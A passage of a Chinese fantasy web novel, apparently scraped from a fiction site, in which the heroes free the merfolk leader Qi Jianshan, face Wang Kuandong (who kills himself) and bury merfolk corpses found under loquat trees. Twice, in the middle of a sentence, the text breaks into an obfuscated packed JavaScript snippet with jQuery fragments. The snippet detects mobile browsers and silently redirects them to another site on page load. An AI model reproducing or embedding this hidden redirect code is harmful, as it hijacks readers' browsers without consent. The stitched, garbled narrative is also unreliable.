说着,齐见山便对他们行了一个鲛人族的大礼,裴瑾连忙将人扶起来。 齐见山又问:“只是这里寂然能困住我,想必守卫严密,遍布陷阱,你们是怎么找到我的,又是如何破开这个阵法的?” 听见这话,大家你看看我我看看你,最后依然是周春和站出来将他们是怎么来、这几天发生的事情以及他们又是如何找到齐见山的一并告诉了他。 齐见山听了之后愣了许久,最后长叹一声,眼神似乎不忍:“原来是这么一回事。听到大家的解释,我才能将此事完整的拼凑出来。” 裴瑾和周夏莲立刻就明白了齐见山话中的意思,皆忍不住叹息起来,为鲛人一族的命运哀叹。 而傅怀玉脸上依然带着笑,抬起广袖遮住自己的小半张脸,似乎在轻轻咳嗽,可是眼睛垂下的时候,眼底却闪过一丝犹疑的光。 至于谢斯年,他早已经收起来漫不经心的那副姿态,表情似乎也变得有些晦涩,不知道想到了什么,眼神慢慢暗了下去。 于是两个人为鲛人一族的命运连连叹息,另外两人则各怀心事,表情晦暗不明。 ——只有周春和完全不知道大家在想什么,她没听明白究竟是怎么一回事,茫然的拉住周夏莲问:“什么?什么完成的故事?这一切究竟是怎么回事儿?” 不等周夏莲开口,齐见山便主动向周春和解释道:“姑娘别急,待我将此事慢慢道来。十几年前我被封印起来之后,想必我的族人立刻便发现了不对劲,所以便纷纷出海寻我,他们一路寻到了阴花渡,查到了银环山便是当初封印我的凶手之一,我听姑娘说银环山这一门派已经被妖怪灭了口,想必就是我的族人为了找寻我的下落才做出这等事情。姑娘可知,我们鲛人一族最是安居乐业,若没有危害自己生命的事情,是绝不会出来祸害其他人的。所以他们一定是被逼急了,找到了关于我的什么线索才对银环山这一门派痛下杀手,至于你们说的在阴花海的那些鲛人,大概也是他们一路找寻我至此处,为了救我,于是便抛离故土,在陌生的地方安营扎寨,只求找寻我的踪迹……唉,只可惜那面具人实属狡诈,将我封印在生命之树里面,叫我的族人如何能找到呢?” 周春和一时愣住了,愣愣的问:“所以之前王宽冬说的什么因为他们为民除害杀掉了妖王的儿子还被追杀之类的话全是胡扯的了?他骗猎妖人说鲛人会伤害百姓,这才诱骗那些不知情的猎妖人帮他们对抗鲛人,实际上你们才是真正的受害者,王宽冬利用大家对妖怪的偏见给你们按上了一个莫须有的罪名,明明他们才是侩子手,却说你们是怪物,他们编造出这样的弥天大谎只是为了掩盖事情的真相……可是我还有一事不解,那个面具人为什么要将你封印在生命之树中呢?那个打破封印的又是什么?为什么你的族人每月的十五日才会出来救你?” 听见周春和这一连串的问题,齐见山先是叹了口气,然后面色凝重的说:“实不相瞒,其实直到现在我也没有弄清楚那个面具人的意图……他既然有如此强悍的力量,为什么抓住我却不直接杀掉我,而是将我封印在生命之树里面,源源不断的吸食我的能量呢?……不过没关系,等我出去之后,便准备将此事仔细查查,只要肯下功夫,总是会查出什么来的。至于姑娘说的打破封印的东西……”齐见山说着,伸出手给周春和看手心里刚刚从周春和怀中飞出的小石头,“姑娘可曾听说过补天石?” 72. 枇杷府 “补天石”三个字一出来,不仅周春和呆了,其他四个人也立刻齐刷刷的看向齐见山。 周春和反应过来之后,立刻有些迫切地追问:“自然听说过,传闻这是女娲娘娘补天时遗留下来的一块石头……齐兄,你这什么意思?难不成你要说这个看起来平平无奇的破石头就是补天石?” 齐见山点点头,但很快又摇了摇头:“它确实是补天石,但也不能称作是真正的补天石……换句话说,这只是补天石的一部分。当年补天石诸神之战中,补天石被火神失手摔碎,石头一分为三,最核心的部分在火神那里,可火神十几年前便销声匿迹,此时早已不知那最关键的一部分补天石去了哪里。至于剩下的两块,一块掉进了南山之海中,被我们供了起来,另一部分也和主石一样,至今没有被人找到。” 周春和张了张嘴,完全没想到她从来没有当作一回事的那个石头竟然就是传闻中大名鼎鼎的补天石……的一部分。 她回想起自己这一路上对这块石头的毫不在意,不仅后背发凉——估计以她的不重视程度,但凡这石头不小心掉在了路上,估计她都懒得弯腰去捡。而如果她运气稍微差一点真不小心掉在了路上,不仅齐见山救不下来,估计他们以后也很难再找到完整的补天石了。 周春和顿时又后怕有心虚,忍不住戳了戳脑子里的系统,语气带着强烈的谴责:“不是,这个就是那个补天石吗?怎么长得这么随便?你怎么也不提醒我一下,就任由我这么潦草的拿着?” 系统通过周春和的眼睛观察了一下那个补天石,自言自语道:“我去,好像还真是。那宿主你可要好好保存啊。” “……” 周春和笑得非常核蔼——这他喵的不是说了一句废话吗?她能不知道要好好保存?这系统也太敷衍了,而且它明明知道这补天石非常重要,结果这一路上也不提醒她一句,就这么眼睁睁的看着她这么随便的拿着?万一丢了怎么办?……周春和又想到了之前每次性命攸关的时刻,系统曾经画大饼说会救她,但实际上一次也没有救过的时候,新仇旧账堆在一起,她皮笑肉不笑道:“行啊,死系统,我看你这自己每天自娱自乐挺开心啊。之前还说会保护我,结果危难的时候一次也没见你出现,每次我都快喊破嗓子了你却在那里装死……” 周春和这么一说,系统也有些心虚,谄媚的嘿嘿笑道:“宿主,你也知道,贪生怕死是人之常情嘛,你害怕其实我也害怕,而且我还更加脆弱,风吹一吹就到了,所以才被吓得不敢出来……不过你一定要相信我,我真的是想救你,只是有心无力啊!” “……看来你确实是天赋型选手,”周春和面无表情道,“这么不要脸的话很少有人能直接说出口。” “嘿嘿。” “……我现在有点想和你爸爸玩跷跷板。” “?” “我翘你大坝。” “……”系统语气忽然激昂起来,但是不知道在燃什么,“够了!宿主,如果我是拼少少新用户,你对我说话还会是这个态度吗?” 拼少少是系统最近新装载的软件,据说已经在各个系统只见流传开了,只需邀请新用户插一刀,便可以提高各个宿主抽出SSS级别卡牌的概率。当然了,直到现在为止也没有哪个系统真的插刀成功。 “。”周春和冷笑一声,嫌弃的别开脸,“行,看来这个更是我攻略成功路上的绊脚石。” 在脑子里吐槽完了系统,周春和便又回归正题。 齐见山没有看见周春和眼睛里的翻江倒海,继续说:“我的族人只能通过感应确定我在这里,但是因为生命之树是个天然的屏障,所以他们没有办法探知我确切的位置,更何况哪怕他们知道了我的位置,在王宽冬的干涉之下,估计也不可能顺利找到我。后来他们在机缘巧合之下遇见了你们,大概是万般无奈之下才把补天石给了你们,把唯一的希望寄托在你们身上,希望你们能找到我的位置。当年我为了更好的保护补天石,与补天石设下了特殊的链路,只要补天石出现在我的身边,便能通过链路感应到我,从而助我破除一切阵法或者是封印。你们既然知道补天石,应该也对此有所了解,补天石乃是上古之神亲自炼就,它拥有的力量是世间世俗之物所无法比拟的,是以即便是生命之树对补天石来说也不在话下,更别说这些封印了。” 周春和消化了好半天依然还是目瞪口呆。 “至于姑娘说为什么我的族人每月十五日才会出来一次……姑娘可知猫妖有九条命?” 周春和呆呆的说:“……知道。” “姑娘既然看出来阴花海的那些鲛人并不是血统纯正的鲛人,而是与猫妖结合而成的鲛人,便应该能猜到它们也继承了猫妖的部分特质,其中最重要的就是它们也有九条命。不过又因为它们并不是存粹的猫妖,所以它们和猫妖的复活条件又不尽相同。每当每个月的十五这一日,对鲛人来说是阴气最省之时,尤其是在鬼节七月十五这一日,阴气达到最盛之时,鲛人才会应运自然复苏。这也就是为什么每月十五日,它们才会出来,因为这一日前一战死去的鲛人才会复活,鲛人一族才会恢复元气,才有能力与王宽冬一战。” 听着齐见山的话,周春和后知后觉的想明白了什么,喃喃自语道:“那这么说,原来那个蛟龙和鲛人不是一伙儿的,只是蛟龙那日正好感应到了傅怀玉,所以碰巧和鲛人一起出来了而已。怪不得蛟龙一心想要杀掉他们,而鲛人却与之相反,一直想要救下他们。我一开始还下意识地以为这俩是一伙儿的呢……” 周春和的声音很轻,只有离她最近的周夏莲听见她说话了,却没听清她在说什么,于是回头问道:“春和,你说什么?” 周春和猛然回过神,连忙摆手笑道:“没什么没什么……我只是在想,我知道那天咱们看见的那具女仆的尸体是怎么回事了。” 周夏莲显然也想通了,叹道:“大概是鲛人眼见强攻攻不进来,只要改用其他法子,将修为高的可以化形的鲛人化成人形送进来,想偷偷寻找齐公子的踪迹,可惜最后却被王宽冬发现,这才导致了惨祸的发生。” 周春和忍不住叹了口气。 真是太惨了。 大家沉默了一会儿,周夏莲打起精神问:“既然如此,齐公子,你接下来有何打算?” 齐见山道:“回去先安抚一下我们的族亲,然后……”他目视前方,掷地有声的说,“我要为那些含冤死去的族人报仇。” 大家互相对视一眼,都没有说话。 这是王宽冬自己做下的孽,当然要他自己承担。 王宽冬与鲛人一族的事情,天道自会做出相应的赏罚,他们就不必插手进来了。 裴瑾道:“既然如此,那我们还是先离开这个是非之地,免得一会儿被人察觉不对。” “好,走吧。” 这次依然是由裴瑾打头,几个人带着齐见山依照原路返回。 这一路畅通无阻,可是即将刚刚走过那条密道即将来到地上时,只听得前方传来一阵杂乱的脚步声。有人来了。 为首的裴瑾立刻停住脚步,竖起耳朵屏息凝神。 谁会在这个时候来这里? 答案不言而喻,除了王宽冬之外,没人知道这个地方,所以来的人只能是王宽冬。 他为什么会忽然过来?难不成是生命之树枯败,所以他察觉到了什么?还是刚刚破阵之时地动山摇,王宽冬也察觉到了地震是从这里面传来的? 不过不管真相如何,王宽冬已经发现了不对,并且现在已经来到了前方堵住了他们前进的道路。 一行人纷纷停下脚步,就发现王宽冬脚程很快,已经率领着乌泱泱一帮人站在了他们面前,彻底挡住了他们的去路。除了王宽冬之外,他身后还站着十来个人,这些人裹得严严实实,从头发丝儿到脚趾头,一片皮肤也没露出来,好像是得了什么见光就会和这个世界saygoodbye的毛病。 王宽冬已经完全褪去了往日笑意盎然的客气模样,如今看着他们,只剩下满目的狠厉与暴躁,像是完全换了个人。 看清闯入这地下的是谁人之后,王宽冬眯起了眼睛,笑容变得怪异起来:“原来是你们几个,我当是谁这么大胆,竟敢擅自闯入这溶洞之内。”说着眉毛倒竖,怒喝一声,“你们怎么找到这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16655535|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里的!” 他的视线越过众人,看见了站在最后的齐见山,表情登时变了,混合着惊疑和恼怒,一时间变得又恐惧又愤怒:“你……齐见山!你竟然出来了!是谁……是他们放你出来的?!” 周春和一脸无语——不明显吗?这他喵的问的啥问题。 也不用他们回答,王宽冬显然自己就能给自己答案,他恼怒道:“你们怎么将他放出来?!” 周春和躲在其他人后面扣了扣耳朵,无所谓的讥讽王宽冬说:“这你就别管了,我们自有办法。王宽冬,我们已经知道你做下的那些事情了,现在齐首领已经出来,轻松打死你们也不在话下,如果你现在缴械投降,那么我还可以考虑饶你一条小命。快点束手就擒,不要再做无谓的抵抗了。” 谁知王宽冬却冷笑一声:“你说的倒是轻巧,一个妖力几乎已经快被蚕食干净怪物、几个不知天高地厚的猎妖人和一个手无缚鸡之力的小女孩……你以为你们有什么胜算么?” 周春和说的自然是轻巧,毕竟一会真打起来也是周夏莲他们是主力,周春和只是一个比较鸡肋的“辅助”,她也算是“狐假虎威”了一把。 闻言她也不恼,四两拨千斤的讥讽回去:“你就尽管把心放痔疮里,对付你这种小角色我们还是绰绰有余的……手不能提肩不能扛的,还真把自己当个角色了……” 王宽冬的表情登时有些难看,恼羞成怒之下口不择言:“真是奇了怪了,明明自己便是个拖油瓶,怎么还有脸对别人指手画脚?你以为自己和路边的一条野狗有什么区别么?” 周春和丝毫不恼,脸上甚至还带上了一点宠溺的笑:“是狼~” 王宽冬:“?” 王宽冬见周春和真的是脸皮厚到了没有脸皮的程度,一时间气的胸口一阵阵的发疼,索性也就不和她继续扯皮,摆了摆手,身后那几个裹得严严实实的人便悄无声息的从王宽冬身后冒了出来。 王宽冬嘴边携着一丝阴冷的笑,眼神变得狠厉,阴森森的笑道:“既然如此,我也只好送你们一起去地下团聚了。” 话音刚落,那几个裹得严实的暗卫便身形流利的鱼贯朝周夏莲他们走去,转瞬间便来到了他们面前。 暗卫抽出长剑,片刻没有停息,剑影一闪,剑刃已经劈了下来。这一切都在电光石火间明发生,那暗卫速度快到已经脱离正常人的范畴,好在周夏莲也不是等闲之辈,瞬息之间已经做出反应,长剑格挡,两刃相交,带出一阵刺目火星。 这道呕哑嘲哳的响声仿佛拉开了打斗的序幕,其他安慰一拥而上,很快四处便被刀光剑影填满。 周春和躲在所有人的身后,他们替周春和拉开了一个安全的警戒线,将周春和护在警戒线之内,不让这些暗卫靠近她分毫。 但周春和也不愿意坐享其他人的成果,她从来不希望自己一辈子躲在其他人的羽翼之下。虽然她没有其他人那种与生俱来的天赋,但她依然瞅准时机时不时的扔出一张符纸,尽自己力所能及帮他们分散暗卫的注意力。 不得不说,经过这些多次的并肩作战下来,周春和已经能和他们配合默契,有时候一个眼神就能明白下一步该怎么做。 裴瑾和周夏莲原本就法力出众,再加上有傅怀玉、谢斯年甚至是鲛人首领齐见山(战损版)相助,一路上势如破竹,很快将那些暗卫全部解决掉了。 在场的很快就只剩下毫发无伤的他们六人再加上孤身一人的王宽冬。 王宽冬身后没有任何人,而他也早已经毁了自己的根基,已经不是猎妖人,对上他们自然毫无胜算。 周夏莲扭头和大家说:“先不要取王宽冬性命,他身上还有很多疑点没有解开,而且当初在阴阳城扔下那封信的人也还没有找到,既然王宽冬是银环山门派唯一的传人,我不信他一点也不知情,我们一会儿将人绑起来,看看能不能从他嘴里……” 话音未落,周春和忽然惊呼一声,其他人也脸色微变。 周夏莲心知有异,正要回头看是怎么回事,离她最近的裴瑾却脸色骤变,在周夏莲还没有反应过来之际以迅雷不及掩耳之势忽然将她拉到了自己身边。 73. 枇杷府 等匕首擦着周夏莲的脸颊飞过去,锐利的刀锋削掉她几根发丝、没入众人身后的石壁之中时,周夏莲才堪堪反应过来。她迅速调整好状态,用手掌撑着裴瑾的胳膊,借着裴瑾的力量干脆利落的转过身,迎面对上王宽冬,原本蓄势待发,可是谁都没想到的情况发生了。王宽冬忽然仰天长笑一声,不知道又从哪里拿出一把匕首架在自己脖子上,完全没有继续“负隅抵抗”的意思,眼睛里带着异常的狂热和崇拜,语气又急又渴望:“再见了,诸位,等神普照众人之日,便是你们死无葬身之地之时!” 说着刀锋一转,只见一阵鲜血自他颈部喷涌而出,王宽冬竟然自尽于此。 众人都没想到事情的走向会是这样。直到身体已经变得冰冷,王宽冬脸上凝固的依然他最后那副带着嘲讽和不屑的表情。那表情看的周春和心里发毛,索性不再去看,转头看向其他人:“他刚刚说了一句什么话?啧,王宽冬自裁了,那这下我们可怎么办?” 大家面面相觑,似乎还没有彻底反应过来。这时候,一直没有出声的齐见山忽然问道:“刚刚我听你们提起‘银环山’,还说王宽冬身上有很多谜点。怎么,你们难道在来这里之前还遇到了什么事情吗?” 因为阴阳城和鲛人的关系不大,所以周春和还没有和齐见山说过阴阳城的事情。齐见山现在还不知道他们是被那封写着“银环山”的信封引过来的。 不过反正这也不是什么秘密的事情,和齐见山说了也没关系,于是周春和就三言两语简单的和齐见山说了说。齐见山听后,沉思片刻,说道:“这件事显然和这个枇杷府脱不了干系,那王宽冬最是巧言善辩,嘴里说出来的话让人分不清真假,诸位还是不要轻易信了他佯装不知的鬼话……可惜我自己手头上还有许多事情要处理,没有办法帮上你们什么忙……” 周春和连忙摆手,示意不碍事的,他也没有理由为此自责。 齐见山又继续说:“不过,既然你们这一路走来最终目的是为了补天石,那不如就把我身上这个补天石残片给你们吧,也算是略尽我的绵薄之力。” 周春和有些愕然,没想到齐见山这么轻易就给她了,她迟疑着没有立刻接过来:“可这不是你们鲛人一族的圣物么?你就这么轻易给了我?……这合适吗?” 齐见山似乎被周春和小心翼翼的模样逗的忍不住弯了弯唇:“既然补天石有更好的去路,那么让它留在我这里便是浪费了,能发挥作用才能称得上是仙器,如若一直供着不用,那它也就只是一块普通的石头而已。补天石于我们鲛人一族并没有什么益处,这次它救下了我,那么它对鲛人来说已经完成了自己的任务,既然有了更适合它的去处,那么我又缘何要强留下它?因果轮回,许多事情冥冥之中自有注定,它已经完成了自己的使命,如今也该放它去了。” 说着,齐见山便真毫不犹豫地将那补天石的残片给了周春和。 见周春和小心接了过去,齐见山才继续笑道:“而且诸位拿它是为了做成一桩好事的,是为了解救那些无辜被困的猎妖人,我没法亲自促成这桩善事,便只好在其他地方助大家一臂之力了,自然没有阻拦之理。” 周春和手忙脚乱的拿着那块补天石,转头就想给周夏莲保管,可是周夏莲没接,只是笑眯眯的看着周春和说:“你收着吧,我知道你能保存好。” 周春和于是便郑重地将补天石残片收了起来,同时也收下了这份沉甸甸的“信任”。 大家整装待发,很快继续往外走。 假山壁上的门已经被王宽冬粗暴的踹坏了,此刻大剌剌的敞着,所幸附近很少有人经过,否则肯定会忍不住好奇进来一探究竟。 大家来到地面上,有些不大适应强烈的日光,眯着眼睛休息片刻,这才再次睁开眼睛。 附近是郁郁青青的枇杷林,这个景象对周春和来说已经算是很熟悉了。她转过头,正要问齐见山何是回去,就见齐见山环顾四周之后,脸色忽明忽暗,变得有些奇怪。 周春和敏锐的察觉到了什么,开口问道:“齐公子,怎么了?” 齐见山喃喃的说:“不对劲……我似乎感觉到了同伴的气息……” 他忽然皱了皱眉,紧接着右手灌注妖力一掌按在大地之上,似乎想通过大地这个媒介感受些什么,过了几秒之中,齐见山脸色骤变。 他来到最近的一棵枇杷树边,忽然用妖力将覆盖在枇杷树上的土壤全部掀开。其他人不明所以,纷纷凑过来,却惊讶的发现土壤之中竟然是一具鲛人的尸体! 鲛人即便是死后也会保持尸身不腐,所以这个鲛人的皮肤看着依然很有光泽,他抱着自己的膝盖蜷缩在土中,像是一个在壳中的胚胎。 但其实他已经没有了生命体征。而且因为一直被枇杷树吸食死后残存的妖力,导致他的全身只剩下一张鱼皮,里面已经干瘪了下去。 周春和愣了很久才喃喃的开口:“这是怎么回事?……” 齐见山没说话,只是安静的一个接一个将枇杷树下的土壤掀开,大家一开始还愣愣的看着,随着一具接着一具的尸体被翻出来,他们也很快开始不约而同地跟着一起挖土刨坑。 院中正正有几百株枇杷树,每一株枇杷树下面都放着一具鲛人的尸体。 最后在最里面的那个枇杷树下,周春和海挖出来了那么被虐杀而死的女仆的尸首。 齐见山盯着那个尸体看了很久,最后喃喃的说:“这是……阿玲的姐姐……阿玲唯一的亲人……竟然也……” 他脸上很快被熊熊怒火点燃,眸中几乎要喷出火来,咬牙切齿的说:“王宽冬!王宽冬!一刀抹了脖子真是便宜了你!若是你落在我手中,我必将你碎尸万段,求生不得,求死不能!” 周春和看着这些多的尸体只觉得头皮发麻,其他人的表情也变得不太好,显然他们都没有想到这看似葱葱郁郁的枇杷树背后,原来是靠吸食鲛人族的尸体为生才长得如此繁盛。 周春和想起自己刚来的那天还尝了一个枇杷果,顿时忍不住干呕起来,她胃里没什么东西,也吐不出什么,难受的脸涨的青紫。 周夏莲上来轻拍她的后背,一面严肃地抬头问齐见山:“这些枇杷树究竟是什么东西?为什么王宽冬要养活这么多,而且还要用……给它们做养料?” 齐见山的脸色无比阴沉,但对待他们仍然无比客气:“这叫‘生命之树’,刚刚在溶洞之内我和大家提起过,只是没有仔细说。生命之树的本体和一个小臂差不多粗细,可以幻化处任何形状,这些枇杷树应该就是生命之树幻化出来的,刚刚在溶洞之内,你们看见的那颗大树也是生命之树。生命之树有个神奇之处,便是可以吸食周围的能量,不管是灵力还是妖力,只有在它的根茎附近,那么它就会疯狂的汲取一切可以汲取的力量,而生命之树的大小没有界限,只要有能量供应,那么便会一直生长下去,永不停歇。溶洞内的那株生命之树之所以这么大,是因为这些年一直在源源不断的从我身上汲取能量的缘故。” 顿了顿,齐见山继续说:“生命之树一旦被外力摧毁,那么能量便会泄露出来。刚刚我毁掉了那株生命之树,也因此那些原本属于我的能量才又回到了我身上,可这些……” 他悲切的目光扫过土坑里密密麻麻的尸体,语气不忍:“我的族人死后,生命之树也依然能吸食它们的能量,并且持续不断的吸食,直至这些尸体化为灰烬。此时若是摧毁这些生命之树,那么它们吸收的妖力便会散在着周围,消弭于世间。” 大家心里都不太好受,一时间都沉默了一会儿。周春和总算缓了过来,声音有些虚弱:“……可王宽冬养育这些生命之树干什么?鲛人的尸体可不是那么容易得到的,更何况这些鲛人有猫妖的血统,轻易不会死去,但即便是这样,王宽冬也要不惜大费周章的做这些,他究竟有什么目的?” 裴瑾叹了口气:“这恐怕就只有他本人知道了。” 大家沉默着将所有尸体全部挖了出来,密密麻麻的尸体堆在一起,竟然和一座小山差不多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664043|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 看到这些尸体,所有人的心里都不好受,齐见山地表情更是肃穆。 傅怀玉叹道:“生者为过客,死者为归人。齐公子,逝者已去,生者还要保重才是。” 齐见山沉默了一会儿,说道:“在下能否请求诸位帮我一个忙?” “齐公子请说。” “帮我让这些死去的族人落叶归根,让他们荣归故里。他们生前我没有为他们做什么,等人不在了,我也只能做这些力所能及的事情以弥补心中的愧疚之情了。” “这是自然,便是齐公子不主动开口,我们也会相帮的。走吧,府中应该有马车,咱们一齐搭把手。” 府中的家丁和那些被请来的猎妖人此刻还不知道发生了什么,几人不想在这个时候陡生事端,便借着枇杷林的遮掩从后门用两辆宽敞的马车神不知鬼不觉的将这些尸首送了出去。 如今鲛人一族已经在阴花海重新安了家,于是大家便准备将这些尸首送到阴花海下葬。 到了阴花海,齐见山不知吹了一声什么口哨,不多时,那些鲛人便一个接着一个的从水底下冒出了头。起先他们的表情都还十分茫然,见到来的人是齐见山之后,立刻齐齐露出惊喜的模样。 齐见山与他们分别数十年,很多鲛人早已变了模样。好在鲛人寿命长,所以还有很多齐见山当年的老部下。旧友相见,令人感动的场面自不必细说。 等招呼完,那个给周春和送鱼肉的小鲛人看见了齐见山身后那两辆马车,于是好奇的用它们鲛人一族的语言问齐见山道:“那马车像是人类的,是谁家的啊?里面有人吗?……对了,说到人类……我阿姐去王宽冬家中寻找首领的踪迹,如今首领顺利脱险,不知可有见到我阿姐?” 齐见山的表情僵了僵,见到族人之后那种由衷的笑容也消失了。 周春和虽然听不懂他们在说什么,但能从两人的表情中看出来他们此刻一定是在说枇杷林的事情。而且她还很快就猜到这个曾经为他们送过鱼肉救过他们的鲛人就是齐见山口中的“阿玲”,也就是那个虐杀而死的鲛人的唯一亲人。 她心生不忍,走上前去拍了拍齐见山的肩膀,又看了一眼阿玲,最后嘴唇动了动,想说什么却又什么也说不出口,只是无奈的叹了口气。 见两人这副做派,阿玲像是明白了什么,笑意就慢慢的散了。 齐见山扭过脸去,不愿见到族亲那悲伤的表情,隔了很久,他才哑着声音说:“……他们都是为了救我才死的,可我却不能为他们做什么,甚至连为他们报仇雪恨都做不到……” 阿玲和齐见山双双沉默下来,大家的心中都弥漫着一股难言的悲痛。 稍作休息之后,齐见山便和族人们去搬运那些尸体,想将他们好好的安葬在水中。周春和他们没法长时间潜水,帮不上什么忙,就只好在一边等着。 傅怀玉站在屋檐下,双手拢在广袖之中,一贯带着笑意的脸上此刻却没什么表情,难得显出一种疏离和淡漠来。风吹过他头顶的树叶,吹动他身上的淡青色衣袍,于是阳光便透过簌簌抖动的树叶在他身上洒下流动着的不规则光斑。 谢斯年则靠在屋外的一棵枝繁叶茂的树上,他整个身子都隐匿在树荫之中,马尾高高扬起,随风摆动。谢斯年嘴里叼着一根狗尾巴草,双手抱臂,屈起一条长腿,没什么情绪的视线的落在远处接天的阴花海上,脸上的表情淡漠。 裴瑾和周夏莲紧挨在一起坐在屋前的台阶上,两个人的表情都很黯然,为了鲛人一族感到难过和伤心,但双手却又不知不觉的握在一起,在危难中反而更加真切的感受到了对方的情谊。 周春和则坐在屋里,她靠在窗台上,双手托着腮,透过窗户看外面那些鲛人忙碌的身影。屋外飘零的落叶打着旋儿落下,周春和叹了口气。 这时候,她的胳膊被什么东西硌了一下,她下意识地皱了皱眉,双眼无神的发着呆将硌到她的东西拿了出来。她抬眼一看,原来是阿玲姐姐身上的那枚小珠子。 74. 枇杷府 周春和盯着那枚珠子看了一会儿,意识到了什么,表情忽然变了。 她急冲冲的夺门而出,来到齐见山身边,拦住他即将入海的动作,气喘吁吁道:“等等,齐公子先等等……阿玲呢?” 这里只有齐见山一个人既会说人类的语言也会说鲛人的语言,于是周春和便拜托齐见山将阿玲找来,然后将阿玲姐姐这唯一的遗物交还给她。周春和语气有些颓丧,拜托齐见山将自己的话转译给阿玲:“……当时我们还不知道那个女尸就是阿玲的姐姐,发现的时候她已经被……唉,这是从她身上找到的,我看打磨的如此精细,便知道她应该很珍视。只是可惜人已经不在了,这个东西便留作一个念想吧。” 阿玲颤抖的接过来那个小珠子,盯着看了两秒,眼睛一眨,终于忍不住嚎啕大哭起来,同时手脚并用,用一双带着泪水的眼睛朝周春和比划着什么。 周春和面露不忍,哽咽着看阿玲比划,眼里也慢慢带上了泪水。 等阿玲咿咿呀呀的说完了,齐见山便语气沉重的向周春和转述阿玲的话:“……阿玲说,这是她姐姐过生日的时候,阿玲送给她姐姐的生日礼物。海底没有什么珍贵的东西,这是她自己亲自含在嘴里磨砺出来的珍珠,整整磨了一年,想送给自小与她相依为命的姐姐做生日礼物。她姐姐去枇杷府的时候什么都没有带走,就只带走了这个东西……” 话音未落,周春和的眼泪便像是断了线的珠子一般劈里啪啦的是往下掉。 远处夕阳西下,橙黄色的光芒笼罩着满目疮痍的大地,鲛人们麻木的一趟趟运送同伴们的尸体,直到将他们全部安葬在海底。岸边还有许多鲛人同猎妖人打斗时留下的残骸,有些残破的器具已经被卷入了水中……光打在饱经风霜的鲛人脸上,他们的表情显得机械又茫然,一切都是苍茫寂寥的模样,就好像一个电影的落幕,更像是一本书籍的结尾,只是这个结束那么的潦草、那么的不尽人意。 处理完尸体,其他鲛人和周夏莲他们告别之后,纷纷又潜入了水中。齐见山最后一个离开,他同大家告别,又给周春和了一个海螺。这海螺只有半个巴掌大,并不是普通的海螺,而是鲛人用来通话的通音螺,周春和看了一眼立刻就明白了,这玩意儿应该类似与周春和那个时代的手机,不过就只能用来打打电话。齐见山告诉他们有事可以通过这个海螺联系他,若是他有能力,便一定会来帮他们。 和齐见山告别之后,一行人一言不发的往枇杷府走。 周春和这一路上都有些垂头丧气,周夏莲几次想安慰她,却又不知道该从何说起。 他们还有很多事情要忙,虽然王宽冬死了,齐见山也被救了出来,但是还有很多谜团他们都还没有解决。 比如王宽冬死前嘴里的那句话究竟是什么意思,那日留在阴阳城的信封究竟是何人所为,将他们引到此处又为了什么,为什么王宽冬看起来好像对银环山一无所知……周春和总感觉诸如阴阳城、枇杷府这些看似危险的地方都只是表面上用来掩人耳目的东西,这背后一定有一个更大的阴谋,这个阴谋如同一条坚不可摧的线,将这一切串联在一起。只可惜如今他们还没有一个确切的眉目去窥见这个阴谋究竟是什么。 而且除了这些之外,枇杷府里那些家仆和猎妖人对这些事情都还毫不知情,如何和他们解释王宽冬的死,如何遣散他们也是个问题。 几个人心事重重的回到了枇杷府,却见府中早已乱作一团。 原来府中的人发现了王宽冬不在府上,找了一天也没有找到,担心王宽冬出了什么事情,所以才慌张起来。 好在周夏莲他们走之前,将一切都做的天衣无缝,就连假山上的门也仔细关好了,是以大家依然被蒙在鼓里,只知道王宽冬消失不见,但不知道这期间发生了什么。 裴瑾有些头疼的思索眼下的状况,正思索着该如何找一个合适又让人信服的借口解释这一切,没想到几人在要回屋的时候,迎面撞上了行色匆匆的陆书雪。 一见到陆书雪,周春和背后的毛就奓了起来,小心翼翼地盯着陆书雪的一举一动,生怕她偷摸伤害周夏莲,阻拦她的攻略大计。 陆书雪见是他们,又看见为首的裴瑾,表情由阴转阴雨,立刻盈盈一拜,眼眶里漫出来了点点泪光:“裴公子已经一天不见了,这是去了哪里?昨日你答应了帮我画符,谁知我早早起来却发现你已经不在府里了。府中王老爷不见了,家丁们找了一日也没找到人在哪里,我还以为你也……” 周春和偷偷翻了个白眼。 裴瑾那木头脑袋浑然不觉,还真以为自己害的陆书雪提心吊胆了一天,于是满怀歉意道:“抱歉,陆姑娘,我今日早晨有些事情,一早便出门了,刚刚才回来。” 陆书雪矫揉造作的拿出手帕试了试眼角,声音柔柔的,关心完裴瑾之后,才把视线放到其他人身上,她看着周夏莲,脸上便带上了一点若无其事的笑来:“周姐姐,好久不见了呢。” 这语气实在是有些让人不舒服,笑里藏刀,偏偏她又没说什么过分的话,还让人不能随便发作。 周夏莲的表情有些不太好,但她即便是不舒服,也向来不会对人说什么重话,而且她经常有什么心事都藏在心里,不愿让别人知道。所以现在面对陆书雪明晃晃的挑衅时,她即便是不舒服也没说什么。 她只是平淡的点了点头,但是不知道该回答什么,就干脆什么也不回答了。 在场的裴瑾是没看出来,傅怀玉则饶有兴致的看着陆书雪,虽然他看出来了陆书雪的手段和小九九,但并不打算说什么——这种段位的还不值得他费心。 谢斯年自然也将陆书雪的心思一览无余,他想要说些什么,但周春和比他更快一步的开了口:“也没多久啊,昨晚不刚见了吗。” 